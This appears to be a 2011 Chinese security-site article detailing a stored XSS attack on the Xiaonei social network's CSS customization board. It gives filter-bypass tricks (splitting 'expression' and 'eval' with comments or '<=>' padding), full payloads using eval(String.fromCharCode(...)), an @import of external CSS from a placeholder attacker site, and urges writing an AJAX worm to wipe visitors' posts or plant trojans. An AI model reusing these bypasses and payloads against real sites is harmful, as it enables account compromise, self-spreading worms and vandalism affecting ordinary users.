首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
渗透校内网——XSS过程详解
来源:http://hi.baidu.com/ycosxhack 作者:余弦 发布时间:2011-05-04  

——余弦函数http://hi.baidu.com/ycosxhack)三更半夜原创

我知道校内网曾经爆发的那个蠕虫,那时候爆发这个相对来说容易,因为那时XSS没任何挑战,而AJAX蠕虫不是谁都可以写出来的,至少要有不错的JavaScript编程能力。我是这两天才开始认真使用校内网的,使用前就发文声称要XSS^^,没想到几个小时的渗透,发现了校内网的过滤系统就是形同虚设。

下面详细讲解下这个渗透过程,技术讨论而已。其他邪恶的问题一概不回答。

一、先了解下面这些:

渗透点为校内网的涂鸦板,这个涂鸦板就像百度空间的“编辑CSS自定义模板”。如下截图:

截图中的唯一正常的代码就是:body{background-color:#000;}!必须知道在CSS中执行脚本的唯一方法为expression表达式,而这个expression只在IE内核的浏览器中得到支持!expression还有一个缺点是它会反复执行其中的js代码,所以我们用下面这个聪明的方法来解决:

expression(if(!window.x){your evil script;window.x=1;})

这样,expression中的js就将执行一次。根据不同的渗透环境,我们可以将我们的js适当的变形或加解密转换。这次渗透发现涂鸦板(如上面截图)中的“背景图片:”文本框“CSS:”文本域都可以写入非法的XSS字符串。先介绍“CSS:”文本域

二、开始渗透了:

我们填写:a{cos:expression(if(!window.x){alert('xss-WORM');window.x=1;})},保存修改后变为:

a{cos:expression(if(!window.x){alert(xss-WORM);window.x1;})}

可以发现,它将expression过滤为英文全角的expression(不过,最后一个n还是英文半角,这很有趣),并且过滤了单引号与等号。继续渗透发现它过滤的字符或字符串为:> < = & escape \ eval expression unescape ' " javascript @import等。现在我们来突破,如何突破?为了执行js,我们必须先复活expression。

将expression变形为exp/**/ression,其中/**/为CSS的注释符,浏览器将忽略它,所以expression可以正常执行,不过过滤系统就不一定会考虑到这个了。后面我总结了一个万能的绕过方法,也非常的有效,呵呵,想知道就继续往下看吧。

三、传说中的万能绕过方法:

先告诉你吧,这段代码就可以XSS校内网了:

a{cos:exp<=>ression(e<=>val(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,120,41,123,97,108,101,114,116,40,39,120,115,115,45,87,79,82,77,39,41,59,119,105,110,100,111,119,46,120,61,49,59,125)))}

填写在“CSS:”文本域中,保存修改,在个人首页就可以看到XSS了,如下:

发现了没有,上面这段代码很奇怪啊。expression与eval都被<=>分割了,呵呵!原理就是:<=>这三个字符都会被过滤掉,连骨灰都不剩……于是我们的expression与eval就都有效了。所以传说中的万能绕过方法就是用<=>填充会被过滤的字符串(比如:javascript @import eval unescape escape expression等等)!但是对于那些特殊字符(比如:' " < = >等等)就没办法了,这个很好理解吧?这些特殊字符都将被过滤掉,都是连骨灰都不剩,所以你可以随意组合这些特殊字符串。我还是用我的<=>吧。

由于单引号等特殊字符都会被过滤掉,所以我们只能在expression表达式中选择使用eval(String.fromCharCode(邪恶的十进制码)),当然我们还可以选择使用@<=>import url(http://www.yourevilsite.com/xss.css);来导入外部CSS了,然后在你的外部CSS中就随意构造代码吧!邪恶的十进制码即你的js的十进制表达式,由于变为十进制了,所以任何特殊字符、任何函数都可以使用了,也就是说你可以执行任意js代码。

四、“背景图片:”文本框:

我发现这个文本框中仅仅过滤那些特殊字符,而不会过滤eval expression unescape等等,所以我就构造了如下代码:

http://);cos:expression(eval(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,120,41,123,97,108,101,114,116,40,39,120,115,115,45,87,79,82,77,39,41,59,119,105,110,100,111,119,46,120,61,49,59,125))

原理上面已经提到了。至于为什么这样构造就留给你自己去探索吧,很简单其实。

五、渗透成功后:

成功后,就写AJAX蠕虫吧,让访问你页面的人都中招,然后来点危害,比如清空其文章,再留下你的大名,或者挂马,最好来个潜伏期什么的~~~说说而已,这样做会被鄙视的!最多就来个小恶作剧就好,低调~低调。关于AJAX蠕虫的优势与危害我就不多说了。我现在更愿意来个定向攻击。运气好的话,会有很大的收获。

最后,欢迎指正不足,更欢迎补充。My Blog: http://hi.baidu.com/ycosxhack。其实这次渗透我做的工作量可不仅这些,不该说的我就不说了。


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·mysql可多语句执行下不用单引号o
·高级PHP手工注入
·XSS漏洞基本攻击代码
·XSS偷取密码Cookies通用脚本
·XSS(跨站)偷cookie的代码
·Xss获取管理员后台地址实战
·xss跨站脚本攻击大全
·微软的“后门”:NTSD.exe,的远
·1433终极入侵之沙盒模式
·linux不提权跨目录访问的代码
·入侵 www.gongwuyuan.com.cn (
·Firefox攻击技巧总结
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved